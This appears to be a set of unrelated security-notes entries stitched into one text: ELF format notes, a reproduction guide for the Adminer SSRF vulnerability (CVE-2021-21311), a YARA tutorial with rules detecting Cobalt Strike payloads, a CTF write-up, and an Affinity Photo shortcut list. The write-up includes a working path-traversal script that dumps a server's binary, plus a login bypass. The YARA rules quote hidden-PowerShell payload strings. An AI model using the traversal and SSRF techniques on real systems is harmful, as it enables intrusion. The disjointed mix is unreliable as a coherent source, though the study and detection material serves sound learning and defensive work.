### Note related sections 有时候生产厂商或者系统构建者可能需要使用一些特殊的信息来标记ELF文件,从而其它程序可以来检查该 ELF 文件的一致性以及兼容性。节区类型为 SHT_NOTE 或者程序头部类型为 PT_NOTE 的元素用于来实现这个目的,它们中对象的表项可能包含一到多个,每一个表项都是目标处理器格式的 4 字节数组。下面给出了一些可能的注释信息。但是这并不在 ELF 文件的规范内。 - namesz 与 name - name 的前 namesz 字节包含了一个以 NULL 结尾的字符串,这表示该项的拥有者或者发起人。但是目前并没有避免冲突的格式化的命名机制。一般来说,生产厂商会使用他们自己公司的名字,例如“XYZ Computer Company”来当做对应的标志。如果没有任何名字的话,namesz 应该是0。那么在 name的地方应该填充到 4 字节对齐。 - descsz 与 desc - desc 的前 descsz 字节包含了注释的描述。ELF 文件对于描述的内容没有任何约束。如果没有任何描述的话,descsz 应该为 0。当然,应该在 desc 处填充到 4 字节对齐。 - type - 这个字段给出了描述的解释,对于不同那个的发起者来说,他们都必须控制自己的类型,对于同一类型来说,有可能有多个描述与其对应。因此,发起者必须能够识别名字以及类型以便于来理解对应的描述。目前来说,类型不能够为非负值,ELF 文件的规范里并不定义描述符的意思。这也是为什么 type 在前面。 在 Linux 中,与 Note 相关的节包含了 ELF 文件中的一些注释信息,主要包含两个节 - .note.ABI-tag - .note.gnu.build-id ### .gnu.hash 注:本部分主要参考https://blogs.oracle.com/ali/gnu-hash-elf-sections。 在 ELF 良好的可扩展性的帮助下, GNU 为 ELF 对象添加了一个新的哈希节,这个节的性能相比于原有的 `SYSV hash` 会好很多。该节用于快速根据符号名获取对应符号表中的索引。 更多内容请参考 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections。 **有待进一步学习。** ### ELF 标准 ELF 文件中的哈希表由 Elf32_Word 对象构成,用来支持符号表访问。 bucket 数组包含了 nbucket 个元素,chain 数组包含了 nchain 个元素,所有的数组的下标都是以 0 开始。bucket 和 chain 都包含符号表索引。chain 数组中的元素是和符号表中的元素一一对应的,因此符号表的元素个数必须和 nchain 的大小相同,故而符号表的索引同样可以作为 chain 表的索引。下面展示的哈希函数接受一个符号名作为输入,然后返回一个值,这个值可能被用于计算 bucket 的索引。因此,如果哈希函数针对于某个名字返回值 x,那么 `bucket[x%nbucket] ` 给出了一个索引 y,可以用来索引符号表,也可以用来索引 chain 表。如果符号表的对应索引并不是所想要的哪一个,那么 chain[y] 就会给出同一个哈希值的下一个符号表中表项的位置,即可以用来防止出现哈希值一样的情况。因此我们可以跟着 chain 链一直搜索直到遇到所想要的符号,或者遇到值为 `STN_UNDEF` 的 chain 的表项。
sec-knowleage
# Adminer Server-side Request Forgery on Error Page of Elasticsearch and ClickHouse (CVE-2021-21311) [中文版本(Chinese version)](README.zh-cn.md) Adminer is a tool for managing content in databases developed by PHP. It natively supports MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch and MongoDB. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability on error page of Elasticsearch and ClickHouse. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected. This is fixed in version 4.7.9. References: - <https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6> - <https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf> - <https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21311.yaml> ## Vulnerable environment Execute following command to start a PHP server with Adminer 4.7.8: ``` docker compose up -d ``` After the server is started, you can see the login page of Adminer at `http://your-ip:8080`. ## Exploit Select the ElasticSearch as the system field, then input `example.com` into the server field. Click the login button, you will see the 400 response from `example.com`: ![](1.png)
sec-knowleage
# yara 实验 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 什么是 yara YARA 是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具,使用 YARA 可以基于文本或二进制模式创建恶意软件家族描述信息,当然也可以是其他匹配信息。 这款工具配备一个短小精悍的命令行搜索引擎,它由纯C语言编写,优化了执行的效率。该引擎可以跨平台使用,能够运行 Windows,Linux 及Mac OS X 系统上。同时,这款工具提供 python 扩展,允许通过 python 脚本访问搜索引擎。 YARA 的功能非常丰富,尤其是与模块的集成。模块可以在保持规则可读性的基础上开启了非常精细的扫描。 --- ## 安装 linux 下可以直接用包管理器进行安装 ```bash apt install -y yara ``` windows 下访问项目的 releases 页面下载 https://github.com/VirusTotal/yara/releases 为了方便,这里重命名 yara64.exe 为 yara.exe 在当前目录下打开 CMD, 输入 help ``` yara.exe --help ``` --- ## 语法 ``` --atom-quality-table=FILE path to a file with the atom quality table -C, --compiled-rules 加载已编译的规则 -c, --count 只打印匹配的数量 -d, --define=VAR=VALUE 定义外部变量 --fail-on-warnings 警告失败 -f, --fast-scan 快速匹配模式 -h, --help 显示此帮助并退出 -i, --identifier=IDENTIFIER print only rules named IDENTIFIER -l, --max-rules=NUMBER 匹配多个规则后中止扫描 --max-strings-per-rule=NUMBER 设置每条规则的最大字符串数(默认=10000) -x, --module-data=MODULE=FILE pass FILE's content as extra data to MODULE -n, --negate 仅打印不满足的规则 (negate) -w, --no-warnings 禁用警告 -m, --print-meta 打印元数据 -D, --print-module-data 打印模块数据 -e, --print-namespace 打印规则的名称空间 -S, --print-stats 打印规则的统计信息 -s, --print-strings 打印匹配的字符串 -L, --print-string-length 打印匹配字符串的长度 -g, --print-tags 打印标签 -r, --recursive 递归搜索目录(遵循符号链接) --scan-list 扫描FILE中列出的文件,每行一个 -k, --stack-size=SLOTS 设置最大堆栈大小(默认=16384) -t, --tag=TAG 只打印标记为TAG的规则 -p, --threads=NUMBER 使用指定的线程数来扫描一个目录 -a, --timeout=SECONDS 在给定的秒数后中止扫描。 -v, --version 显示版本信息 ``` --- ## 示例 **基本使用** ``` rule silent_banker : banker { meta: description = "This is just an example" thread_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c } ``` - 第一行的 rule silent_banker : banker 是声明该规则用于检出 banker 类型的样本。 - meta 后面的是一些描述信息,比如规则说明、作者信息等。 - strings 定义了 $a $b $c 两个十六进制字符串(十六进制字符串用大括号括起来)和一个文本字符串(文本字符串直接用双引号括起来) - condition 规定了匹配的条件,这里写的是 or,表明样本中只要匹配到了 $a $b $c 三个字符串中的任意一个,那么样本就会被识别为 banker 新建一个 test.yara,内容同上,同时新建一个文件夹,文件夹中随机复制几个文件进去,进行识别 ``` yara.exe test.yara 111/ ``` 没有任何反应, 因为我们的 yara 规则没有命中 111 文件夹下的任何文件。 修改下规则 ``` rule silent_banker : banker { meta: description = "This is just an example" thread_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" $d = {4D 5A} condition: $a or $b or $c or $d } ``` 增加了一个十六进制字符串 $d 所匹配的值是 4D 5A。 而 4D 5A 是 PE 文件(包括 exe、dll 等)的文件头,也就是说一个正常的 PE 文件中是一定会包含 4D 5A 这个十六进制的数据的。 且我们在最后的 condition 中加入了 or $d,表示如果 $d 条件满足,样本也可以成功识别。 重新对111文件夹下的文件进行扫描 这里识别了多个文件,并命中自定义的 yara 特征。 如果要识别子目录下的文件需要 -r 参数 **识别 python** 新建 test.yara ``` rule python_test : python { strings: $a="if __name__ == '__main__':" nocase condition: $a } ``` nocase 关键字代表不区分大小写 测试 --- ## 匹配 CS ### Win32_PE 这里生成多个 cs 马,分析提取一些特征。 可以看到大小区分的比较明显,要么 20kb 以下,要么 300kb 以下,这是因为小的是 Staged 大的是 Stageless。 yara 规则是会全文扫描的,那么这样将会大大降低扫描效率,如果我们能够写一些 filter 过滤掉大部分的不相关样本,那么 yara 在扫描的时候将会只对疑似的文件进行有效的扫描而不会浪费资源。 那这里可以过滤文件大小 ``` rule CS : win32 { condition: filesize < 400KB } ``` 用 IDA 分析2个exe 来到 start 函数之后,我们可以发现多个 CobaltStrike 样本的入口点是完全一致的,程序入口点都是 004014B0 用 exeinfo pe 获取入口点,需要注意的是,这里是获取到的文件偏移,也就是offset,并不是我们在IDA中看到的entry_point 使用pe.entry_point来获取入口点 ``` import "pe" rule CS : win32 { condition: pe.entry_point == 0x8b0 and filesize < 400KB } ``` 接下来继续找特征,静态查看 main 函数 这里调用了 sub_402A60 和 sub_401795 ,跟进查看,这里 sub_401795 比较关键 在 sub_401795 函数中,程序会通过 CreateThread 创建一个新线程 并且可以看到有一个 `%c%c%c%c%c%c%c%c%cMSSE-%d-server` 看起来像是通信协议。 这里 CreateThread 的 lpStartAddress 是 sub_401685, 在 sub_401685 的 sub_4015D0 函数中可以看到通过 CreateNamedPipeA 的方式创建管道准备通信。 那么接下来直接匹配这个字符串 ``` import "pe" rule CS : win32 { strings: $comm="%c%c%c%c%c%c%c%c%cMSSE-%d-server" condition: pe.entry_point == 0x8b0 and filesize < 400KB and $comm } ``` 最后再加上一个 PE 文件的判断 ``` import "pe" rule CS : win32 { strings: $comm="%c%c%c%c%c%c%c%c%cMSSE-%d-server" condition: uint16(0)==0x5A4D and pe.entry_point == 0x8b0 and filesize < 400KB and $comm } ``` --- ### powershell 生成不同位数下的 powershell 后门 32位 64位 32 位和 64 位结构相似, 32 位使用 $DoIt = @''@方式定义两个函数. 程序关键执行的内容被 base64 编码 比较相似的就是这个 `[Byte[]]$var_code = [System.Convert]::FromBase64String` 匹配这种类似的字符串 ``` rule powershell { strings: $string1="[Byte[]]$var_code = [System.Convert]::FromBase64String" $string2="$var_runme.Invoke([IntPtr]::Zero)" condition: filesize < 20KB and $string1 and $string2 } ``` --- ### html_pe CobaltStrike 提供 3 种生成 html 木马的方式 exe,powershell,vba,依次生成如下 **exe** 简单粗暴,直接包含一个 PE 文件在其中, 文件最后将 shellcode 释出为 evil.exe 并执行,这里文件名不一定是固定值,尝试通过正则进行匹配。 ``` rule html_exe { strings: $string="evil.exe" $string2="var_shellcode" $reg1= /var_tempexe = var_basedir & \"\\\" & \"[A-z]{1,20}.exe\"/ condition: filesize < 100KB and $string and $string2 and $reg1 } ``` **vba** 查看 vba 版的html马 中间一大段为混淆的 vba 代码 通过 & 符号拼接由 chr 函数转换的 ascii ``` &Chr(10)& ``` 这里比较容易找到特征,比如 myAr"&"ray ``` rule html_vba { strings: $string="Wscript.Shell" $string2= "myAr\"&\"ray \"&Chr(61)&\" Array\"&Chr(40)&Chr(45)&\"4\"&Chr(44)&Chr(45)&\"24\"&Chr(44)&Chr(45)&" condition: filesize < 100KB and $string and $string2 } ``` **powershell** 查看结构 同样的 base64 编码命令, 解码查看 这里 $s=New-Object IO.MemoryStream 结合下文是将数据加载到内存中执行 > 在 cs3.14中是$s=New-Object IO.Memor ``` rule html_ps { strings: $string= "Wscript.Shell" $string2= "var_shell.run \"powershell -nop -w hidden -encodedcommand" $string3= "var_func" condition: filesize < 100KB and $string and $string2 and $string3 } ``` --- ## Source & Reference - [Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本](https://www.anquanke.com/post/id/211501)
sec-knowleage
# ADMIN UI 2 PWN-RE ## Description: > That first flag was a dud, but I think using a similar trick to get the full binary file might be needed here. There is a least one password in there somewhere. Maybe reversing this will give you access to the authenticated area, then you can turn up the heat… literally. ## Solution: Let's use the same trick from [Admin UI](Admin_UI.md) to get the full binary: ``` root@kali:/media/sf_CTFs/google/adminui2# nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? ../../../proc/self/cmdline ./main === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit ``` So we know the binary path, we can either use the relative path (`../../../home/user/main`) or just dump `../../../proc/self/exe`. Using the following Python script, we read the binary: ```python from pwn import * r = remote("mngmnt-iface.ctfcompetition.com", 1337) MENU_START = "=== Management Interface ===\n" def read_menu(): r.recvuntil("3) Quit") def read_notes(path): read_menu() r.sendline("2") r.sendlineafter("Which patchnotes should be shown?\n", path) log.info("Read EULA/patch notes: {}".format(path)) out = r.recvuntil(MENU_START, drop=True) return out binary = read_notes("../../../proc/self/exe") target_file = "admin_ui_2" log.info("Writing binary to {}".format("admin_ui_2")) write(target_file, binary) ``` Output: ```console root@kali:/media/sf_CTFs/google/adminui2# python exploit.py [+] Opening connection to mngmnt-iface.ctfcompetition.com on port 1337: Done [*] Read EULA/patch notes: ../../../proc/self/exe [*] Writing binary to admin_ui_2 [*] Closed connection to mngmnt-iface.ctfcompetition.com port 1337 root@kali:/media/sf_CTFs/google/adminui2# file admin_ui_2 admin_ui_2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e78c178ffb1ddc700123dbda1a49a695fafd6c84, with debug_info, not stripped ``` Let's reverse it: ``` root@kali:/media/sf_CTFs/google/adminui2# r2 admin_ui_2 -- You can redefine descriptive commands in the hud file and using the 'V_' command. [0x41414150]> aa [WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382) WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382) [x] Analyze all flags starting with sym. and entry0 (aa) [0x41414150]> afl 0x00400a40 3 23 sym._init 0x00400a70 1 6 sym.imp.printf 0x00400a80 1 6 sym.imp.close 0x00400a90 1 6 sym.imp.puts 0x00400aa0 1 6 sym.imp.exit 0x00400ab0 1 6 sym.imp.putchar 0x00400ac0 1 6 sym.imp.read 0x00400ad0 1 6 sym.imp.strncmp 0x00400ae0 1 6 sym.imp.system 0x00400af0 1 6 sym.imp.getpid 0x00400b00 1 6 sym.imp.scanf 0x00400b10 1 6 sym.imp.strlen 0x00400b20 1 6 sym.imp.opendir 0x00400b30 1 6 sym.imp.__xstat 0x00400b40 1 6 sym.imp.readdir 0x00400b50 1 6 sym.imp.sprintf 0x00400b60 1 6 sym.imp.strerror 0x00400b70 1 6 sym.imp.setbuf 0x00400b80 1 6 sym.imp.getchar 0x00400b90 1 6 sym.imp.__errno_location 0x00400ba0 1 6 sym.imp.strcmp 0x00400bb0 1 6 sym.imp.strncpy 0x00400bc0 1 6 sym.imp.closedir 0x00400bd0 1 6 sym.imp.write 0x00400be0 1 6 sym.imp.open 0x00400bf0 1 6 sym.imp.fflush 0x41414150 1 43 entry0 0x41414180 4 42 -> 37 sym.deregister_tm_clones 0x414141b0 4 58 -> 55 sym.register_tm_clones 0x414141f0 3 34 -> 29 sym.__do_global_dtors_aux 0x41414220 1 7 entry1.init 0x41414227 1 19 sym.debug_shell 0x4141423a 7 84 sym.getsx_char 0x4141428e 15 440 sym.command_line 0x41414446 11 293 sym.secondary_login 0x4141456b 6 221 sym.primary_login 0x41414648 38 766 main 0x41414950 3 101 -> 92 sym.__libc_csu_init 0x414149c0 1 2 sym.__libc_csu_fini 0x414149d0 1 16 sym.__stat 0x414149e0 1 9 sym._fini ``` In `main`, the interesting part is the one that calls `primary_login` after entering `1`: ```assemmbly | | .------------------------. | 0x41414747 [gy] | | ; 1 | | cmp eax, 1 | | jne 0x41414935;[gx] | `------------------------' f t | | | | | | | | | | | | | '------------. .----------------' | | | | | | | | | | | | | .-------------------------------. | | 0x41414750 [gAa] | | | call sym.primary_login;[gz] | | | jmp 0x41414935;[gx] | | `-------------------------------' | ``` This corresponds to the following behavior: ``` root@kali:/media/sf_CTFs/google/adminui2# nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 1 Please enter the backdoo^Wservice password: ``` A summarized overview of `primary_login` is as follows (obtained by iterating through visual mode views in Radare2 via `p`): ``` [0x41414648]> s sym.primary_login [0x4141456b]> VV .------------------------------------------------------------. | [0x4141456b] | | 0x41414576 str.Please_enter_the_backdoo_Wservice_password: | | 0x4141457d call sym.imp.puts | | 0x41414587 str.flag | | 0x41414593 call sym.imp.open | `------------------------------------------------------------' f t | | | '-----------------------------. .---------------' | | | .------------------------------------------. .---------------------------------. | 0x414145b8 [gf] | | 0x414145ce [gc] | | 0x414145b8 str.Login_mechanism_corrupted | | 0x414145e2 call sym.imp.read | | 0x414145bf call sym.imp.puts | | 0x414145ec call sym.imp.close | | 0x414145c9 call sym.imp.exit | | 0x414145fb str.127s | `------------------------------------------' | 0x41414607 call sym.imp.scanf | | 0x41414620 call sym.imp.strcmp | `---------------------------------' f t | | | '------. .--------------------------------' | | | .-------------------------------------. .--------------------------------------------------------------. | 0x41414629 [gn] | | 0x41414630 [gk] | | 0x41414629 call sym.secondary_login | | 0x41414630 str.Incorrect__the_authorities_have_been_informed | `-------------------------------------' | 0x41414637 call sym.imp.puts | v | 0x41414641 call sym.imp.exit | | `--------------------------------------------------------------' | | '-------. | .--------------------. | 0x41414646 [gm] | `--------------------' ``` It opens a `flag` file, reads input from the user, and compares. We've already leaked the contents of that file in the previous level, so we can try: ``` root@kali:/media/sf_CTFs/google/adminui2# nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 1 Please enter the backdoo^Wservice password: CTF{I_luv_buggy_sOFtware} ! Two factor authentication required ! Please enter secret secondary password: ``` Indeed a dud. We move on to `secondary_login`. ``` [0x4141456b]> s sym.secondary_login [0x41414446]> VV ``` The first block of code just sets up everything: ```assembly .-------------------------------------------------------------. | [0x41414446] | | (fcn) sym.secondary_login 293 | | sym.secondary_login (); | | ; var int input @ rbp-0x90 | | ; var int local_88h @ rbp-0x88 | | ; var int local_80h @ rbp-0x80 | | ; var int local_78h @ rbp-0x78 | | ; var int local_70h @ rbp-0x70 | | ; var int local_6eh @ rbp-0x6e | | ; var int input_len @ rbp-0x10 | | ; var int i @ rbp-0x8 | | ; CALL XREF from sym.primary_login (0x41414629) | | push rbp | | mov rbp, rsp | | sub rsp, 0x90 | | ; 0x41414b30 | | ; "! Two factor authentication required !" | | lea rdi, str.Two_factor_authentication_required | | ; int puts(const char *s) | | call sym.imp.puts;[ga] | | ; 0x41414b58 | | ; "Please enter secret secondary password:" | | lea rdi, str.Please_enter_secret_secondary_password: | | ; int puts(const char *s) | | call sym.imp.puts;[ga] | | lea rax, [input] | | mov rsi, rax | | ; 0x41414b80 | | ; "%127s" | | lea rdi, str.127s | | mov eax, 0 | | ; int scanf(const char *format) | | call sym.imp.scanf;[gb] | | lea rax, [input] | | mov rdi, rax | | ; size_t strlen(const char *s) | | call sym.imp.strlen;[gc] | | mov qword [input_len], rax | | mov qword [i], 0 | `-------------------------------------------------------------' ``` It prints the message, reads the second password and calculates its length. We then move on to a loop: ```assembly .-----------. | | | | .---------------------------------------------------. | | 0x4141449f [gf] | | | ; CODE XREF from sym.secondary_login (0x414144d4) | | | mov rax, qword [i] | | | cmp rax, qword [input_len] | | | jae 0x414144d6;[ge] | | `---------------------------------------------------' | f t | | | | | '--------------------------. | .------' | | | | |.------------------------------. .------------------------------------. || 0x414144a9 [gg] | | 0x414144d6 [ge] | || lea rdx, [input] | | ; '#' | || mov rax, qword [i] | | cmp qword [input_len], 0x23 | || ; '(' | | jne 0x41414537;[gh] | || add rax, rdx | `------------------------------------' || movzx eax, byte [rax] | f t || xor eax, 0xffffffc7 | | | || mov ecx, eax | | | || lea rdx, [input] | | | || mov rax, qword [i] | | | || ; '(' | | | || add rax, rdx | | | || mov byte [rax], cl | | | || add qword [i], 1 | | | || jmp 0x4141449f;[gf] | | | |`------------------------------' | | | v | | | | | | `----' | | ``` This loop XORs each byte of the input with 0xC7, then moves on to compare the length to 0x23. The next block should be checking the result against the expected input: ``` .--------------------------------------. | | 0x414144dd [gi] | | | ; [0x41414a40:8]=0x98a8b093bc819384 | | | mov rax, qword obj.FLAG | | | ; [0x41414a48:8]=0x83b5a8b094b4a697 | | | mov rdx, qword [0x41414a48] | | | mov qword [input], rax | | | mov qword [local_88h], rdx | | | ; [0x41414a50:8]=0xb5a2b3b3a28598bd | | | mov rax, qword [0x41414a50] | | | ; [0x41414a58:8]=0x98f698a9f3afb398 | | | mov rdx, qword [0x41414a58] | | | mov qword [local_80h], rax | | | mov qword [local_78h], rdx | | | ; [0x41414a60:2]=0xf8ac | | | movzx eax, word [0x41414a60] | | | mov word [local_70h], ax | | | ; [0x41414a62:1]=186 | | | movzx eax, byte [0x41414a62] | | | mov byte [local_6eh], al | | | lea rax, [input] | | | test rax, rax | | | je 0x41414537;[gh] | | `--------------------------------------' | f t | | | | | '------------------------. | .----' | | | | .------' | | | .------------------------. .--------------------. | 0x41414530 [gk] | | 0x41414537 [gh] | | mov eax, 1 | | mov eax, 0 | | jmp 0x4141453c;[gj] | `--------------------' `------------------------' v ``` We see that the code starts by referencing `obj.FLAG`. Let's extract it: ``` :> pcp 0x23 @ obj.FLAG import struct buf = struct.pack ("35B", *[ 0x84,0x93,0x81,0xbc,0x93,0xb0,0xa8,0x98,0x97,0xa6,0xb4, 0x94,0xb0,0xa8,0xb5,0x83,0xbd,0x98,0x85,0xa2,0xb3,0xb3, 0xa2,0xb5,0x98,0xb3,0xaf,0xf3,0xa9,0x98,0xf6,0x98,0xac, 0xf8,0xba]) ``` Now let's XOR with 0xC7: ```python >>> import sys >>> import struct >>> buf = struct.pack ("35B", *[ ... 0x84,0x93,0x81,0xbc,0x93,0xb0,0xa8,0x98,0x97,0xa6,0xb4, ... 0x94,0xb0,0xa8,0xb5,0x83,0xbd,0x98,0x85,0xa2,0xb3,0xb3, ... 0xa2,0xb5,0x98,0xb3,0xaf,0xf3,0xa9,0x98,0xf6,0x98,0xac, ... 0xf8,0xba]) >>> for x in buf: ... sys.stdout.write(chr(ord(x) ^ 0xc7)) ... CTF{Two_PasSworDz_Better_th4n_1_k?} ``` Looks good, but something doesn't quite add up. I couldn't figure out how the `[gi]` block is comparing the expected result with the input. The final condition is: ```assembly lea rax, [input] test rax, rax ``` Which is just checking that input in not NULL. Above that, we just have assignments. Where is the content being compared? Eventually I convinced myself to try just any random string of length 0x23: ```console root@kali:/media/sf_CTFs/google/adminui2# { echo "1"; echo "CTF{I_luv_buggy_sOFtware}"; python -c "print 'a'*0x23";} | nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit Please enter the backdoo^Wservice password: ! Two factor authentication required ! Please enter secret secondary password: Authenticated > ``` So any string of length 0x23 will do. The flag is CTF{Two_PasSworDz_Better_th4n_1_k?} though.
sec-knowleage
--- title: Affinity Photo date: 2022-11-23 16:23:31.694998 background: bg-[#d578f0] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 177 keyboard shortcuts found in Affinity Photo --- Keyboard Shortcuts ------------------ ### Editing {.row-span-2} Shortcut | Action ---|--- `Ctrl` `Alt` `I` | Resize document `Ctrl` `Alt` `C` | Resize canvas `.` | Reset selection box `;` | Toggle snapping `Ctrl` | Erase with pixel tool on current layer `X` | Switch between Stroke/Fill color selectors `Shift` `X` | Swap Stroke/Fill colour selectors `/` | Set no fill on Stroke/Fill color selectors `O` | Toggle between crop tool overlays `Shift` `O` | Flip golden spiral overlay (crop tool enabled) `Esc` | Cancel a sizing, moving, or creating operation `(arrows)` | Move item `Shift` `(arrows)` | Move item in 10x measurement units {.shortcuts} ### Tools (Tone Mapping Persona) Shortcut | Action ---|--- `H` | View tool `Z` | Zoom tool `B` | Overlay paint tool `E` | Overlay erase tool `G` | Overlay gradient tool {.shortcuts} ### Files Shortcut | Action ---|--- `Ctrl` `N` | New document `Ctrl` `Shift` `Alt` `N` | New from clipboard `Ctrl` `O` | Open document `Ctrl` `W` | Close document, or close app when no documents are open `Ctrl` `Tab` | Switch document/view `Ctrl` `S` | Save `Ctrl` `Shift` `S` | Save as `Ctrl` `Shift` `Alt` `S` | Export `Ctrl` `P` | Print {.shortcuts} ### Vector Graphics Shortcut | Action ---|--- `Ctrl` | Edit curves as you draw using node editing (from pen) `Ctrl` `Enter` | Convert to curves {.shortcuts} ### Tools (Export Persona) Shortcut | Action ---|--- `S` | Slice tool `L` | Layer select tool {.shortcuts} ### Tools (Develop Persona) Shortcut | Action ---|--- `S` | Sampler tool `W` | White balance tool `R` | Red eye removal tool `L` | Blemish removal tool `B` | Overlay paint tool `E` | Overlay erase tool `G` | Overlay gradient tool `C` | Crop tool `Z` | Zoom tool `H` | View tool {.shortcuts} ### Tools Shortcut | Action ---|--- `G` | Flood fill tool/gradient cycle `H` | View tool `V` | Move tool `C` | Crop tool `W` | Selection tools cycle `P` | Pen and node tool cycle `Z` | Zoom tool `S` | Clone tool `U` | Shape tools cycle `T` | Text tools cycle `O` | Dodge, burn, and sponge brush tool cycle `J` | Retouch tools cycle `B` | Painting tools cycle `E` | Erase tools cycle `M` | Marquee selection tools cycle `L` | Free hand selection tool {.shortcuts} ### Tools (Liquify Persona) Shortcut | Action ---|--- `P` | Liquify push forward tool `L` | Liquify push left tool `T` | Liquify twirl tool `U` | Liquify pinch tool `B` | Liquify turbulence tool `C` | Liquify mesh clone tool `R` | Liquify reconstruct tool `F` | Liquify freeze tool `W` | Liquify thaw tool `Z` | Liquify zoom tool `H` | Liquify view tool {.shortcuts} ### Text {.row-span-3} Shortcut | Action ---|--- `Ctrl` `>` | Bigger text `Ctrl` `<` | Smaller text `Ctrl` `Alt` `>` | Precise bigger text `Ctrl` `Alt` `<` | Precise smaller text `Alt` `Left` | Tighten `Alt` `Right` | Loosen `Alt` `Shift` `Left` | Tighten more `Alt` `Shift` `Right` | Loosen more `Ctrl` `B` | Bold `Ctrl` `I` | Italic `Ctrl` `U` | Underline `Ctrl` `T` | Show character `Ctrl` `Shift` `T` | Show typography `Ctrl` `Alt` `+` | Superscript `Ctrl` `Alt` `-` | Subscript `Ctrl` `Alt` `L` | Align left `Ctrl` `Alt` `R` | Align right `Ctrl` `Alt` `C` | Align center `Ctrl` `Alt` `Shift` `\` | Justify left `Alt` `Down` | Increase paragraph leading `Alt` `Up` | Decrease paragraph leading `Ctrl` `Shift` `Up` | Precise paragraph increase leading `Ctrl` `Shift` `Down` | Precise paragraph decrease leading `Alt` `Shift` `Up` | Raise baseline `Alt` `Shift` `Down` | Lower baseline `Ctrl` `Alt` `Shift` `Up` | Precise raise baseline `Ctrl` `Alt` `Shift` `Down` | Precise lower baseline `Ctrl` `Alt` `Space` | Special characters `Ctrl` `Enter` | Line break `Alt` `Space` | Non-breaking space `Alt` `-` | En dash `Alt` `Shift` `-` | Em dash `Ctrl` `Shift` `;` | Spelling options {.shortcuts} ### Tools (Panorama Persona) Shortcut | Action ---|--- `A` | Transform source image tool `L` | Add to source image mask tool `U` | Erase from source image mask tool {.shortcuts} ### Edit Shortcut | Action ---|--- `Ctrl` `Z` | Undo `Ctrl` `Shift` `Z` | Redo `Ctrl` `Shift` `C` | Copy merged `Ctrl` `Shift` `V` | Paste style `Ctrl` `Alt` `V` | Paste FX `Ctrl` `Shift` `Alt` `V` | Paste without format `Ctrl` `Alt` `V` | Paste inside `Shift` `F5` | Fill `Alt` `Tab` | Inpaint {.shortcuts} ### Layer Operations Shortcut | Action ---|--- `Ctrl` `Alt` `A` | Select all layers `Ctrl` `G` | Group `Ctrl` `Shift` `G` | Ungroup `Ctrl` `J` | Duplicate `Ctrl` `I` | Invert `Ctrl` `Shift` `]` | Move to front `Ctrl` `]` | Move forward one `Ctrl` `Shift` `[` | Move to back `Ctrl` `[` | Move back one `Ctrl` `Shift` `N` | New layer `Ctrl` `E` | Merge down `Ctrl` `Shift` `E` | Merge selected `Ctrl` `Shift` `Alt` `E` | Merge visible `F` | Toggle between frequency separation layers `Ctrl` `Alt` `P` | Edit live projection {.shortcuts} ### Brush Shortcut | Action ---|--- `0-9` | Change selected layer content/brush tool's opacity `[/]` | Increase/decrease brush width {.shortcuts} ### View Shortcut | Action ---|--- `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Zoom to fit `Ctrl` `1` | Zoom to 100% `Ctrl` `2` | Zoom to 200% `Ctrl` `3` | Zoom to 400% `Ctrl` `4` | Zoom to 800% `Ctrl` `8` | Zoom to actual size `Ctrl` `9` | Zoom to pixel size `Space` | Hot key panning `Ctrl` `Space` | Hot key zoom in `H` | View tool `Ctrl` `Tab` | Switch between views `Ctrl` `R` | Show rulers `Ctrl` `;` | Show guides `Ctrl` `'` | Show grid {.shortcuts} ### Pixel Selection / Mask Shortcut | Action ---|--- `Ctrl` `A` | Select all `Ctrl` `D` | Deselect `Ctrl` `Shift` `I` | Invert pixel selection `Ctrl` | Add to selection (marquee or free hand selection tools only) `Alt` | Remove from selection `Ctrl` `B` | Grow or shrink `Shift` `F6` | Feather `Ctrl` `Alt` `R` | Refine edges `(arrows)` | Move selection in 1 pixel increments `Shift` `(arrows)` | Move selection in 10 pixel increments `Q` | Quick mask `Ctrl` `I` | Invert mask {.shortcuts} ### Workspace Shortcut | Action ---|--- `Ctrl` `Shift` `H` | Show or hide studio panels `Ctrl` `Alt` `T` | Show or hide toolbar `Tab` | Toggle UI `Ctrl` `H` | Hide workspace {.shortcuts} ### Adjustment and Filter Shortcut | Action ---|--- `Ctrl` `L` | Levels adjustment `Ctrl` `U` | HSL adjustment `Ctrl` `I` | Invert adjustment `Ctrl` `M` | Curves adjustment `Ctrl` `Shift` `Alt` `B` | Black and white adjustment `Ctrl` `F` | Repeat filter {.shortcuts} ### Liquify Persona Shortcut | Action ---|--- `Ctrl` `D` | Mask all `Ctrl` `I` | Invert mask `Ctrl` `A` | Clear mask 